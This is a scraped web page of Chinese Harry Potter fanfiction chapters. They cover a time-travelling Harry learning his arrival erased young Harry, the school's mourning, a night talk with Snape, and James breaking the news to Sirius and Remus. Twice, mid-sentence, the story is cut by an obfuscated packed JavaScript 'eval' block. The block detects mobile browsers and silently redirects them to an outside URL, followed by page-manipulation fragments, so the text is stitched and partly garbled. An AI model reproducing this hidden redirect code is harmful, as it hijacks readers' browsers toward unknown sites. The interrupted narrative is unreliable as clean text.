“凤凰一直是种神秘的魔法生物,即便是我,在这么多年后依然无法完全理解他。”邓布利多微微前倾,语气中多了一丝探究的意味,“所以‘未来’的我离开后,他选择了你?” “不是的,教授。”哈利摇摇头,眼神有些暗淡,“您的葬礼后,福克斯就消失了。谁也不知道他去了哪里。” 哈利停顿了一下,似乎在思考如何解释这段记忆:“后来某一次的追捕行动中,一个食死徒的咒语击中了我,我以为自己要死了。突然福克斯出现了,飞进我的身体……” “契约?”邓布利多轻声问。 “是的。但福克斯从未告诉我那到底意味着什么。它说我是继承者,这是先祖留下的遗产,其他则是‘时机未到’。”哈利轻轻摇头,“说实话,我对这个回廊的了解也不多。” “真是奇妙的魔法。”邓布利多轻声说,声音里带着对未知事物的敬畏,“原谅我的好奇,哈利。虽然我已经活了这么多年,却是第一次听说这个地方。能和我说说那里是什么样子吗?” 哈利皱着眉头,像是在努力回忆:“那里有一条漫长的走廊,尽头是一个圆形的大厅。”他的声音轻而谨慎,“大厅里有四扇门……往昔残影,记忆潮汐,未竟之痕,还有……”他顿了顿,“最后一扇是罪罚之间。” “听起来每一扇门都有它的意义。”邓布利多说。相比斯内普只能看到模糊的铭文,身为继承者的哈利自然能看到更多。 “是的,”哈利点点头,“福克斯告诉我,每扇门后都藏着不同的秘密。” “你进去过吗?” “两次。”哈利说,“但我只能进入第二扇门——记忆潮汐之门。福克斯说那里可以存放我最重要的记忆。它说这是对我的保护,但具体是什么保护,它也没说清楚。” 邓布利多的目光变得深邃:“你存过记忆?” “是的,但……”哈利皱起眉头,“我记得自己确实存了什么,福克斯说那是我自己的选择。但存进去后我就再也想不起来了。” 他抬起头看着邓布利多,眼中带着疑惑,“所以我不明白,斯内普是怎么……” 邓布利多没有直接回答,而是从半月形眼镜后审视着哈利,目光中终究流露出一丝不忍。他站起身走到窗边,仿佛是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156400|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在组织语言。那些年来,他见证过太多生离死别,他不得不告知过太多令人心碎的消息,每一次面对这样的场景,内心都会感到深深的痛楚。但每一次,都不会比现在更艰难。 他轻轻叹了口气,转身看向哈利,“哈利,你有没有发现,自从来到这个时空后,发生了一些无法解释的事情?” “无法解释的?”哈利脸上满是不解,“您是指?” “奥利凡德曾写信给我。”邓布利多说,“他说他发现了两根一模一样的魔杖,都出自于他的手艺,而这世上本不可能有一模一样的魔杖芯。可最令他奇怪的,不在于此——” 哈利的目光不自觉地移向放在床头柜上的魔杖,“我的魔杖……”他迟疑着开口,“刚来到这里时就出了问题。奥利凡德说魔杖芯死了。”他回忆着那天的场景,“他说这可能是因为……这个世上不会允许两个同样的存在。” 说出这句话的瞬间,某种可怕的预感击中了哈利。他猛地抬头看向邓布利多,但后者只是平静地望着他,仿佛在等待他自己得出结论。 “不……”哈利的声音颤抖着,“您不是说……这不可能是……” 他无法说完这句话。一个可怕的想法浮上心头,脑海中闪过太多画面:魔杖芯的死亡,泰迪莫名其妙地长大,还有小哈利的……死。所有这些异常的事件突然有了一个令人惊骇莫名的解释。 “时间是一条河流,哈利。”邓布利多温和的声音中带着不容忽视的力量,“如果我们没有理解错,当有人试图逆流而上,改变它的方向,就必须承受这种尝试带来的后果。新的轨迹会覆盖旧的痕迹,就像重新注满的水面终将抹去之前的涟漪。也许,这就是改变时间需要付出的代价。” “所以小哈利他……”哈利几乎说不出话来,喉咙像是被什么东西哽住了,“是因为我?是因为我来到这里?” 他的声音在颤抖,手指在不知不觉间掐进掌心。在他将醒未醒时听到的那句——“我做了一个好长的梦”。现在他明白了,那不是梦,那是时间在流逝,是生命在一点点消散。 “不是你的错,哈利。”邓布利多说。他摘下眼镜,用长袍一角轻轻擦拭镜片,再次望向窗外。夜色中的树影婆娑摇曳,像极了多年前他送别故人时的场景。过了好一会儿,他才重新戴上眼镜,“这是时间的法则。就像一个天平,它终究要回归平衡。” “但是为什么?”哈利喃喃道,“为什么偏偏是他?为什么不是……”他说不下去了。难道他要说“为什么不是我”吗?他甚至不知道自己有什么资格说这种话。 夜色已经完全笼罩了城堡,远处传来猫头鹰孤寂的鸣叫。病房里一片寂静,只有哈利急促的呼吸声。 哈利闭上眼睛。尽管早有预感,但真正听到这个答案的那一刻,他还是感到一阵眩晕。所有那些异常的迹象都有了解释:他的魔杖芯的死亡,那些被改变的历史,还有小哈利的消失。这一切都是时间在试图维持平衡的方式。 “哈利,还有一件事我必须告诉你。”邓布利多微微偏过头,借着暮色掩住他眼中的不忍,“詹姆斯……他已经知道了。” 哈利的心猛地一沉,只觉得一阵眩晕,连呼吸都困难起来。 “是活点地图。”邓布利多说,“地图显示了两个‘哈利·波特’,就在……” 他没有说完,但那个未尽的话语像一记重锤击中了哈利。一个可怕的认知涌上心头——他曾经是多么自以为是。那时他给泰迪做活点地图时,甚至还为自己的“聪明”沾沾自喜。他曾经那么小心翼翼地隐藏自己,以为只要把那个名字换成“佩弗利尔”就足够了。可他怎么会忘记,原版的活点地图还在詹姆斯手中?那张永远不会说谎的羊皮纸,会忠实地显示出每个人的真实身份。 “我真蠢。”哈利苦笑着说,“我居然会以为……” 活点地图从不说谎。这个念头让哈利觉得浑身发冷。他想起自己曾经无数次用这张地图追踪敌人的行踪,却从未想过有一天,正是这张地图会暴露他最深的秘密。而目击这一切的,偏偏是詹姆斯。 他几乎能想象到那一刻——詹姆斯看着自己亲手制作的地图,眼睁睁地看着上面两个重叠的‘哈利·波特’,直到其中一个名字渐渐消失。这远比任何直接的指控都要残忍。因为地图无情地展示了真相——他的存在,亲手抹去了詹姆斯和莉莉深爱了十二年的儿子的生命。 哈利望着窗外的黑暗,突然感到一阵前所未有的疲惫。也许从一开始,他就不该心存侥幸,不该期待在这个时空里找到属于自己的位置。 沉默在病房中蔓延。邓布利多投在地面上的影子轻轻晃动,他离开窗边,走近病床。月光下,哈利的侧脸显得格外苍白,紧抿的嘴唇暴露了他极力压抑的情绪。从他第一次见到这个来自未来的年轻人起,对方总是表现得异常成熟稳重。即便在最危险的时刻,他也始终保持着冷静,但此刻,那个坚强的外壳终于出现了裂痕。谁也不会想到,他竟然会因为模仿父亲的杰作而暴露了自己最深的秘密。 “我知道这很难接受,哈利。”邓布利多说,“詹姆斯也需要时间。这对他来说同样不容易。” 哈利的目光依然停留在窗外。月光和烛光在他脸上交织,忽明忽暗。良久,他才开口:“我该怎么面对他们,教授?”话到一半,喉咙突然收紧。他顿了顿,像是在努力压抑什么,“我不会再……我会离他们远一点。这对所有人都好。” 这句话说出口的瞬间,胸口传来一阵锥心的疼痛。那个从小就渴望拥有完整家庭的孤儿哈利·波特,终于不得不接受一个残酷的事实:有些夙愿,注定永远只能是梦。更讽刺的是,正是他自己亲手毁掉了这个梦的可能。 “时间会抚平一切伤痛。”邓布利多说。那一瞬他想起了自己年轻时犯下的错,那些无法挽回的遗憾至今仍让他在深夜辗转难眠。他轻轻叹了口气,“但现在,也许我们该把注意力转向一些更紧迫的问题。” 哈利没有回答。他的目光依然停留在窗外的夜色中,思绪似乎也随着那片黑暗飘向了远方。邓布利多的话在他耳边回响——“更紧迫的问题”。是啊,他不能就这样沉浸在自己的痛苦中。还有更重要的事情等着他,就像过去的每一次。 “教授,”他强迫自己看向邓布利多,声音虽然还带着些许颤抖,但已经多了几分坚定,“今天多比来看我时,跟我说起了他的梦。” “确实。”邓布利多说,“那些梦境,显然不是空穴来风。” “这就是让我觉得奇怪的地方。”哈利皱起眉头,“为什么偏偏是他?如果说日记本里有什么力量能影响到他……” “但日记本只是一个媒介。”邓布利多若有所思,“真正的问题在于,是什么让他提前看到了这些未来?” 哈利沉默了。 “也许答案就在冥想回廊里。”邓布利多说,“那个神秘的空间,似乎隐藏着比我们想象中更多的秘密。” “我也这么觉得,教授。可惜现在恐怕没办法验证。”哈利摇摇头,“福克斯说每次进入回廊必须间隔四十九天。而且——”他停顿了一下,眼中闪过一丝愧疚,“说实话,我对那里了解得太少了。也许我该……” “不必自责,哈利。”邓布利多说,“有些事情需要时机。当你准备好的时候,答案自然会浮现。”他停顿了一下,像是在斟酌措辞,“刚才说‘紧迫’这个词,或许不太恰当。” 哈利抬头看向他。 “现在最重要的,是让你好好休息。”邓布利多说,目光变得温和,“其他的事情都可以等等,等你准备好的时候再谈。” “可是……” “没有什么比你的康复更重要。”邓布利多平静地说,“我知道你一直觉得自己肩负着重大的使命。但有时候,我们需要的仅仅是一点时间。” 哈利没有说话,只是望着窗外渐深的夜色。夜已经很深了,连最后一丝天光都消失了。 “西弗勒斯说你现在不能喝安眠药剂。”邓布利多站起身,“但如果你需要,我可以让庞弗雷夫人准备些助眠的茶。” “不用了,教授。我想……”哈利的声音很轻,“我想一个人待会儿。” “当然。”邓布利多走到门边,又回过头,“你知道吗,哈利?即便是最漫长的冬夜,也终将迎来黎明。” 蜡烛的火苗轻轻摇曳,邓布利多的背影和他在墙上的影子渐渐融入走廊的黑暗。哈利望着那片黑暗,直到再也听不见脚步声。 63. 告别前夜 假期结束的那天,苏格兰高地迎来了一场铺天盖地的大雪。凌晨时分,鹅毛般的雪片从铅灰色的天幕中飘落,悄无声息地堆满了霍格沃茨的场地,连魁地奇球场的看台也被厚厚的白毯吞没。城堡沉浸在一片异样的寂静中,猫头鹰棚屋里,那些平日聒噪的猫头鹰们也纷纷缩起脑袋,埋进羽翼,只偶尔发出一两声低沉的咕哝。 格兰芬多塔楼内,往日这个时候,笑声应该回荡在公共休息室的每个角落,但现在壁炉里依旧有一团温暖的火焰,却没人围在旁边大声谈笑。假期结束归来的学生三三两两聚在一起,说话时都不自觉地压低了声音。 胖夫人今天破天荒地没有要求口令,只是默默地为归来的学生打开门。行李箱和猫头鹰笼的碰撞声在寂静中格外清晰,几个刚归来的一年级新生推开画像洞口,兴高采烈地谈论着假期见闻,可在高年级生盯着他们时,声调迅速降下来,变成一片窃窃私语。 弗雷德和乔治坐在角落里,难得没有为恶作剧策划新点子。乔治手里摆弄着一个黑发人偶,一副很旧的小眼镜才刚刚被装上去。弗雷德则盯着手里的羊皮纸,许久没有翻动。那是他们根据小哈利建议改良的怪味糖配方,本该在开学第一天给他惊喜。 “你觉得哈利会喜欢哪个?”乔治低声问。 弗雷德咬着下唇没有回答。弗雷德抓起羊皮纸,用力揉成一团。“随便挑一个吧,反正送也没用了。” 窗边,罗恩一遍遍擦拭着他的扫帚,将扫帚擦得亮得不像话。他没有抬头,目光几乎停在看不见的地方,就像他的脑子也陷入了静止。赫敏站在楼梯口,怀里抱着一摞厚重的书本。《初学者魁地奇战术》、《找球手必备技巧》,还有厚厚一叠学习笔记——都是她花了整个假期为小哈利准备的。现在这些都成了无声的重量,压得她迈不开脚步。 其他学生也沉浸在各自的沉默中。西莫和迪安窝在壁炉前,谁也没说话。纳威的记忆球静静地躺在他手里,球内笼上一层浓重的灰雾。而金妮则缩在一张扶手椅上,抱着膝盖,脸几乎埋进围巾里,只露出了通红的眼睛。 尼克爵士的身影更加透明了,飘在墙角摘下帽子,向每个学生默默行礼。休息室长廊里的画像们也反常地保持沉默,连最爱说话的维奥莱特夫人也只是握着手帕,轻轻擦拭眼角。 大门忽然打开,麦格教授走了进来,雪光映在她身后的楼梯上。她一向挺直的背比平时略微弯了些,眼镜片模糊了一层雾气。全场瞬间安静,所有学生的目光都转向她。 “孩子们,”她开口时的声音略显干涩,“我很遗憾地告诉你们,在假期期间,我们失去了一位同学。” 赫敏怀里的书砸在地上,发出一阵脆响。她猛地捂住嘴,那些一直强忍的泪水终于夺眶而出。 “波特先生,”麦格教授停顿了一下,声音平稳但艰难地继续,“哈利·波特已经离开了我们。他的葬礼将于明天下午,在黑湖边举行。” 罗恩猛地站起来,扫帚掉在地上发出沉闷的响声。“不!”他的声音因愤怒而颤抖,“这不是真的!他才刚入选队伍,还没开始比赛……一个月前,他还……”他闭上嘴,咬紧了牙关,握紧的拳头在袖子里抖动得厉害。 今早当他兴冲冲抵达宿舍,想给最好的朋友一个大大的拥抱,却在那里遇见了神色黯然的泰迪。“这是你们假期琢磨出来的什么新计划,对吧?”他耸耸肩,天真地以为这是某种恶作剧,“拜托,泰迪,这一点都不好笑。”毕竟庞弗雷夫人说过,小哈利很快就能康复。他甚至期待着哈利会从某个角落跳出来,给他一个“惊喜”。 现在一切都毁了。 “但是庞弗雷夫人说过……”赫敏抽泣着开口,泪水像决了堤一般,“她说曼德拉草药剂很快就能……”她说不下去了,眼泪止不住地落下。 弗雷德低声咕哝:“教授,我们能不能……” 乔治带着沙哑的声音接上:“就算是最后一次。” 麦格教授的嘴唇动了一下。她看着那对平日里总是兴高采烈的双胞胎,神情严肃,“明天,你们可以见到。”她再次强调,一字一顿,“他的家人也会到场。” 她没有立即离开,而是站在那里,目光扫过每一个学生。“记住,格兰芬多永远是一个整体。在这样的时刻,我们更要互相支持。” 壁炉里的火跳了一下,几片灰飞进了空中,转了几圈,最后落回地板。整个塔楼又陷入了一种更深更冷的安静。 接下来的时间,公共休息室里每个人都沉浸在这突如其来的消息里。 李·乔丹坐在角落里,手指无意识地摩挲着解说员的徽章。他已经准备好了一大堆赞美词,等着小哈利的首场比赛。“他的飞行技巧那么出色,”他喃喃自语,“我本来还想……” 迪安拿出一面红底金线的小旗子,上面用金线绣着“波特必胜”。这是他们为小哈利的首场比赛准备的,现在这面旗子永远也不会在球场上飘扬了。 “还记得选拔赛那天吗?”西莫轻声说,“哈利第一次骑上扫帚,伍德的眼睛就亮了。他说从没见过这么有天赋的找球手。”而大家都记得那天训练结束后,哈利信心满满地说,“等着看斯莱特林吃瘪吧。”那时谁能想到,这会成为他们最后一次谈论比赛。 窗外,猫头鹰棚屋传来一声低沉的啼鸣,伴着雪落无声消弭。夜雪越积越厚,魁地奇球场的轮廓已经模糊不清。旗杆早已看不见了,但每个人都记得,小哈利第一次踩上扫帚时,冲向天空的身影。 ====== 天色已晚,城堡的大部分窗户都亮起了温暖的灯光。深夜的天文塔静得能听见风的声音。哈利靠在栏杆上,远处的魁地奇球场只剩下一团黑影。晚风掀动着球场边的旗帜,发出轻微的响动。 身后响起脚步声。 “我该感谢费尔奇通知我有人在宵禁后在城堡里游荡。”熟悉的讽刺从楼梯口传来,“看来你的特权已经延伸到违反学校规定了,佩弗利尔?” 哈利转过身,看到斯内普的身影出现在台阶顶端,黑袍随着他的动作微微摆动。他撑着栏杆,漫不经心地回了一句:“斯内普。”他轻抬眉毛,“你居然会来天文塔。” “显然,我没有选择。”斯内普迈步走向他,冷淡地说道,“某些人不肯好好休息,离开房间又不见踪影,害得他的教子找不到人,只好用猫头鹰来请求我的‘援助’。” “泰迪告诉你我睡不好了?”哈利不以为然地问道。 “这不是什么高深的推理。”斯内普冷笑了一声,“任何人都能看出你最近的状态接近巨怪——笨拙、迟钝,还令人头疼。” 哈利没有反驳,视线却定在远处的球场边缘,变得有些恍惚。 斯内普看了他一眼,伸手从长袍里取出一个药瓶,递了过去:“既然你执意要用这种方式消耗自己,我不会阻止。但我可没兴趣浪费时间应付一个行尸走肉的同事。” 哈利接过装着魔药的小瓶,瓶身带着余温。他举起瓶子对着月光看了看,里面的液体泛着深沉的紫色光芒。他晃了晃瓶子,“无梦魔药?我该感到受宠若惊吗?” “别误会,佩弗利尔。”斯内普的语气平淡得没有任何起伏,“我只是不希望看到新学期的黑魔法防御课沦为一场彻底的灾难。” 塔楼上的风穿过缝隙,带来一丝凉意,还有掠过鼻尖的轻微苦涩气味。 “你知道吗,”几秒钟的沉默后,哈利的目光缓缓移向球场的方向。他突然开口,“上次魁地奇选拔的时候,他飞得那么好……”他的声音渐渐低了下去。“我真希望……也许如果我没有回到这里……也许他就不会——” “又来了。”斯内普冷冷打断他,语气中带着一贯的尖利,但少了几分刻薄,“你打算把自己困在这种无意义的假设里到什么时候?时间不会因为你的后悔而倒转。” 哈利握紧瓶子,低声回道:“我知道。但是,有时候我还是忍不住想,如果那个孩子能活下来——” “够了。”斯内普的声音稍稍提高了些,他直视着哈利,声音低沉而坚决,“自怨自艾从来不是你的作风。还是说,你打算让明天的告别变成一场滑稽桥段?波特夫妇一定会‘感激’你这种自以为是的愧疚。” 哈利猛然转头瞪着他。可就在这时,他注意到斯内普的脸上竟然没有平常那种惯用的嘲讽。他那双深黑的眼睛里闪过什么东西,让哈利一时语塞。 “你说得对。”哈利简短地开口,沉默片刻后,又补充了一句,“只是……我不知道该怎么面对他们。” 斯内普的目光扫过他,接着移向远方,隐藏在影子里的脸上看不出表情。他的声音显得僵硬生涩,如同背诵一门艰难的咒语:“生活总会继续,即使我们失去了重要的东西……重要的是,选择如何继续下去。” 哈利有些意外,抬起头看着斯内普。“不像是你能说出来的话。”他扯了扯嘴角,“我还以为你第一句就会说我愚蠢又感情用事。” “你确实愚蠢又感情用事。”斯内普冷冷地说道,语气毫无起伏,“不过考虑到你根深蒂固的格兰芬多劣根性,大概早就无可救药了。” 塔尖远处,霍格沃兹的钟楼敲响午夜的钟声,悠长的音浪一圈圈传来。夜风从栏杆间穿过,吹起哈利散开的头发,也将球场上空悬着的旗帜微微扬起。 斯内普转身准备下楼,披风在身后掀起一个干脆利落的弧度。“别让你的教子整晚找不到人。那孩子已经够担心了。” 哈利看着他转身离去的背影,心中涌起一种奇异又复杂的情绪。他不明白为什么今天的斯内普会显得……不太一样。又或许,是自己想多了。他忽然想到斯内普之前进入过冥想回廊——难道是在里面看到了什么吗? 他突然高声喊道:“斯内普!” 黑袍的身影停住,却没有回头。 “谢谢。”哈利的声音很轻,但在这片安静中足够清晰。 斯内普的肩膀微不可察地动了动。“别让我后悔浪费一瓶完美的魔药,佩弗利尔。”黑袍在楼道中消失。话音落下,他的脚步声随即消失在楼梯间。 哈利低头看着手中的瓶子,紫色的药液在月光下泛着微弱的光芒。他将瓶子翻过来看了一遍,握紧了它。 明天就是告别的时刻。他深吸了一口气,冰冷的空气灌进胸膛,心里却觉得轻了一些。 也许斯内普说得对—— 选择如何继续,才是最重要的。 ====== ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156401|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 等哈利回到房间时,壁炉里的火已经快熄了,火光将墙壁映得忽明忽暗。泰迪蜷缩在他最喜欢的那张扶手椅里,面前摊着一本《中级魔药制作》,他每翻一页,手指就会在书页上停住很久,目光时不时瞄向门口。矮小的斯内普人偶——西比站在书页上,认真地检查着每一条魔药配方。 “奇怪的搭配。”西比用木质的手指敲了敲泰迪潦草的笔记,不客气地评价道,“不过比你那位连基础熬制都一塌糊涂的教父强多了。” “我听见了。”哈利将一瓶魔药放在桌上。 “所以呢?”西比转过身,黑色的纽扣眼睛闪着讽刺的光,“难道你要反驳这个显而易见的事实?” 泰迪抬起头,眼睛一亮,“哈利!你去哪儿了?我到处找不到你,西弗让我来这儿等的。他找到你了吗?” “在天文塔。”哈利在他对面坐下,顺手帮教子理了理歪掉的长袍领子。 “显然是去进行某种毫无意义的自我折磨。”西比冷哼一声,目光落在桌上的魔药瓶上,“啊,无梦魔药。看来某人终于开始接受专业人士的建议了。” “我以为你会更关心泰迪的魔药学习。”哈利说。 “至少他展现出了令人欣慰的天赋。”西比的语气难得带着几分赞许,“而不是像某些人一样,连最简单的提神剂都能炸掉坩埚。” “我可以确定你不是在说我。”哈利嘴角挑了一下。 “看看,格兰芬多式的自以为是。”西比翻了个白眼,语气立刻变得生硬起来,“现在,也许你们两个都该去睡觉了。” “你这是在关心我们吗?”泰迪笑着问。 “我只是希望尽量避免将来不得不收拾某些鲁莽后果。”西比板着声音说,转头看向壁炉,“现在,如果你们能不再浪费我的时间,我得去准备明天的课程清单,以免某些人连最简单的材料配比都搞错。”它从书页上跳下来,沿着桌子边缘走向壁炉架,踩过金属架时留下一串细小的叮当声。 房间里安静下来,一时之间只剩下壁炉中跳动的火焰发出轻微的劈啪声。泰迪放下羽毛笔,手指无意识地摩挲着书页边缘。 “泰迪,你也睡不着吗?”哈利轻声问。 泰迪摇摇头,又点点头,最后像是再也忍不住似的脱口而出,“我总是梦见你倒下的样子,就像小哈利那样,一动不动地……”他的声音在发抖,手中的笔从指间滑落,掉在地毯上,黑色墨水很快洇开一片深色痕迹。 “泰迪……” “我知道你没事了!”泰迪飞快地打断了他,“我只是……”他低下头,声音带着压抑的哽咽,“小哈利走得那么突然。你也差点……我不想再失去任何人了。” 哈利看着他,没有说话。泰迪的肩膀在微微颤抖,他知道那些未说出口的话中,是一个孩子对失去好友后的惊惶,是害怕失去至亲的恐惧。他慢慢蹲下,与泰迪平视,尽力让自己的声音变得平静:“我在这里,泰迪。” 他本想承诺些什么,比如绝不会离开。然而这些话到了嘴边,却梗在喉咙里。他无法保证——时间穿越带来的影响还未完全显现,而在这里,伏地魔的存在更为强大而难以捉摸。他只能尽力保护自己的家人,但未来始终是未知的。 最后他只是轻声说:“无论发生什么,你永远都是我的泰迪。这一点永远不会改变。” “你保证?”泰迪抬起了泪眼问道,声音依然闷闷的。 “我保证。”哈利回答。他伸手揉了揉泰迪的头发,“我们是一家人,泰迪。永远都是。” 他知道这是他唯一能确定的承诺——不是永远的陪伴,而是永远不变的爱。 哈利的目光变得复杂,他想起自己带着泰迪回到这个过去时,那孩子忽然长大的样子——究竟是长大,还是失去了六年时光,作为穿越时间的代价。或许,这不是时间对他亲人的最后一个玩笑。如果莱姆斯和唐克斯在这个时空有另一个泰迪……他无法再让自己往下想。 但眼前的这个孩子,无论世事如何变化,永远是他的教子。 泰迪轻轻往哈利的方向挪了挪,靠在教父肩膀上:“你都不知道那些天我有多害怕。”他的声音很轻,“看着你一直躺在那里,一动不动。” “对不起。”哈利收紧臂膀,把他搂得更近了一些。 壁炉架上的西比停下准备动作,纽扣眼睛静静看着这一幕,目光里闪过一丝难得的温柔。 “好了,”不知道过了多久,哈利轻轻拍拍泰迪的肩膀,“去睡觉吧。明天还有很多事情要做。” “你也要记得喝药。”泰迪擦了擦眼睛,小声说道。 “我保证。” 泰迪站起来,但迟迟没有向门口走去。“晚安,哈利。”他说,语气里有种不舍。 “晚安,泰迪。”哈利目送着教子走出门,直到背影消失在黑暗中,心里暗暗下定决心——无论未来发生什么,他都不会再让泰迪经历失去亲人的痛苦。哪怕这意味着付出任何代价。 “真感人。”沉默的房间里响起西比的声音,它一如既往试图带点刻薄,却听上去柔和了很多,“我还以为格兰芬多不会多愁善感。”说罢,它转过身去,假装忙碌于墙上的魔药配方表。 64. 雪融化之前(上) 莱姆斯·卢平家的起居室里很安静,只有壁炉里偶尔传来木柴燃烧的细微响动。长长的窗帘半掩,窗外茫茫白雪仿佛要将这一方小小天地彻底隔绝。整间起居室简洁规整,书架沿着墙立到顶,书整齐地布满了每一层,连角落里那些凌乱堆放的小书堆都透着一种别样的秩序感。宽大的旧沙发靠着墙,毯子随意地搭在一侧,靠近桌边的地方搁着几本打开一半的书,显然主人最近正在翻阅。桌上放着一页未写完的羊皮纸,旁边搁着用过的墨水瓶和一杯半凉的茶。 小天狼星百无聊赖地窝在沙发上,手里漫不经心地翻着一本书。他随便翻了一页,但并未认真去看,而是用手指轻轻敲打着书的封皮,目光不时扫向桌旁的卢平,挑起嘴角笑了一声,“真少见,尖头叉子居然约在你这儿见面。” 卢平抬头瞥了他一眼,对这种揶揄早已习以为常。他沾了沾墨水,在羊皮纸上写下几行字,这才慢悠悠地开口:“也可能有什么事不适合在家里说吧。”他转头望向窗外飘飞的雪花,又补充道,“何况,这种天气,莉莉怎么可能让詹姆斯把哈利带出来挨冻?” 小天狼星正要说什么,门被缓慢地推开了。寒风裹挟着细碎的雪花涌入,门上的铃铛发出轻微的晃动声。詹姆斯拖着一身风雪站在门口,湿漉漉的披风上结着冰碴,随着他的动作在地板上滴落出一条潮湿的痕迹。 “总算来了。”小天狼星合上了手中的书,语气轻快,“怎么,你不是去医疗翼接哈利了吗?说起来,假期回来就是魁地奇比赛了,我得带着他练几个新动作——” 卢平是第一个察觉到不对劲的。 詹姆斯站在那里,整个人僵硬得不正常。他的头发乱得像一丛荒草,脸色苍白得几乎与外面的雪融为一体,眼圈深陷,眼白布满血丝。披风的纽扣胡乱地扣着,肩头还覆着一层未融的雪。他的每一步都走得极其缓慢,宛如踩在泥沼中,整个人看上去形同空壳。 “你这是……”小天狼星的笑容在脸上凝固了,语气转为担忧,“发生什么了?你抓了一晚上的食死徒?” 詹姆斯对他的问话置若罔闻,一步步挪到壁炉边,目光直直地盯着跳动的火焰,身形摇摇欲坠。卢平连忙起身几步上前扶住他。詹姆斯把自己重重地摔进壁炉旁的扶手椅里,头深深低垂,只有手指下意识地扣着扶手。 小天狼星放下了书本,也从沙发上站起,眉头紧锁地打量着他最好的兄弟。沉默在起居室里蔓延,片刻他终于开口打破了僵局:“尖头叉子,你干嘛像是刚从魔法部被踹出来一样?” 詹姆斯依然沉默地坐着,避开两人的目光。他抬了抬手想说什么,却又像找不到合适的话语,最后只吐出短短一句:“哈利走了。” “去哪儿了?”小天狼星一时没反应过来,语气中带着困惑。他的大脑飞速运转着,试图从詹姆斯反常的神色中寻找答案,却无法得出合理的解释。“圣芒戈吗?不是说曼德拉草药剂已经起效了?波比明明说——” “不。”詹姆斯打断了他。他的目光依然低垂,声音从胸腔里挤出来,“他永远地离开了。” 空气在一瞬间凝固。 小天狼星眨了眨眼,仿佛无法理解这句话的含义。他下意识地向卢平投去求助的目光,但卢平只是沉默地站在扶手椅旁,手指紧紧扣着椅背。 “别开玩笑了。”小天狼星挤出一丝笑容,声音里带着强装的轻松,“石化又不是什么严重的……” “够了!”詹姆斯猛地站起身,两手重重撑在壁炉旁的书架上,书架随之发出刺耳的颤动声。他身形不稳,不得不扶住桌沿,震得桌上的水壶当啷作响。 “他死了!”这句话像一记重锤击在每个人心上。詹姆斯的肩膀猛然垮下,仿佛这声怒吼抽走了他全部的力气。他松开扶着桌子的手,踉跄了一步跌坐回扶手椅里,双手掩面。“他……今天本该醒来的,但是……” 桌上的茶杯“咔嗒”一声倒在桌面,温凉的茶水洒在卢平的长袍上,他却浑然不觉。小天狼星被詹姆斯的怒吼震得后退了一步,拳头握紧又松开,指甲深深掐进掌心。 “我看着他躺在那里,从睁开眼睛到闭上……”詹姆斯的话语断断续续,每个字都带着撕裂般的痛楚,“庞弗雷说曼德拉草起效了,他醒来时笑着叫了我一声‘爸爸’,我以为这是好事,以为能带他回家了……” 他抬起布满血丝的双眼,“可他只是笑着说,做了好长的梦……” 詹姆斯深吸一口气,手指无意识地抠着椅子扶手:“他的手越来越冷,庞弗雷夫人用尽了所有治疗咒,诊断魔法的数字却一直在下降。我握着他的手,却怎么也握不紧了……” “他临走前还在笑着说,让我替他抱抱妈妈,说他很想看看妹妹。”詹姆斯说不下去了,捂住脸,肩膀剧烈颤抖,“他说希望能和我一起飞一次……然后他就……” 小天狼星再也控制不住,转身一拳砸在书架上。书本哗啦啦掉了一地,他却浑然不觉疼痛,双手死死抓着书架,胸口剧烈起伏。片刻后他猛地转身,双眼通红:“你应该早点!早点送他去圣芒戈!邓布利多和凤凰社呢?那么多治疗师,难道就……” “邓布利多也不知道。”詹姆斯摇头,“我问过了,他说从未见过这种情况。” “莉莉知道了吗?”卢平出声询问,目光一直紧盯着詹姆斯的脸。 詹姆斯放下手,下巴微微颤抖,泛红的眼睛停在壁炉中燃烧的木柴上,“我……不知道该怎么告诉她。”他的话语几近梦呓,“昨天出门前,她还在给他准备南瓜馅饼,每次他生病后都会……” 小天狼星又一次砸向墙壁,声音沉闷刺耳。他靠在墙上,胸口剧烈起伏,那种无能为力的感觉几乎让他窒息。 “让我去看看他。”他转向詹姆斯,努力控制着声音,“也许……也许我能找到什么线索!一定是哪里出了问题——” “够了,小天狼星。”卢平的声音不大,却带着一股无法忽视的力量,“我明白你的感受,可现在不是发泄的时候,詹姆斯需要你的支持。” 小天狼星的手指深深掐进掌心,但他没有再说话。 卢平转向詹姆斯,轻轻将手搭在好友肩上,“我们都失去了他,詹姆斯。但你要冷静下来,此刻莉莉比任何时候都需要你。” 詹姆斯没有回应。他靠在椅背上,闭了闭眼,长长吐出一口气。半晌,他睁开眼睛,目光缓缓转向卢平。他的视线在好友脸上停留片刻,却似乎无法直视对方。他垂下目光,凝视着卢平那只搭在他肩上的手——那是一个安慰的姿态,但此刻却像压在他身上的重量一样沉。他喉结上下动了动,像是在权衡一个巨大的秘密,不确定是否该让它离开喉咙。 不等卢平揣摩清他的神色,就听他用一种古怪而平静的语气问道:“莱姆斯……你觉得泰迪是个怎么样的孩子?” 卢平一怔,显然没料到会在这时听到这个问题。 “你在说什……” “开学那天在车站,我看到你特意去找他了。”詹姆斯没等他说完就打断了他,“前两天,小天狼星说你还给他准备了圣诞礼物。” 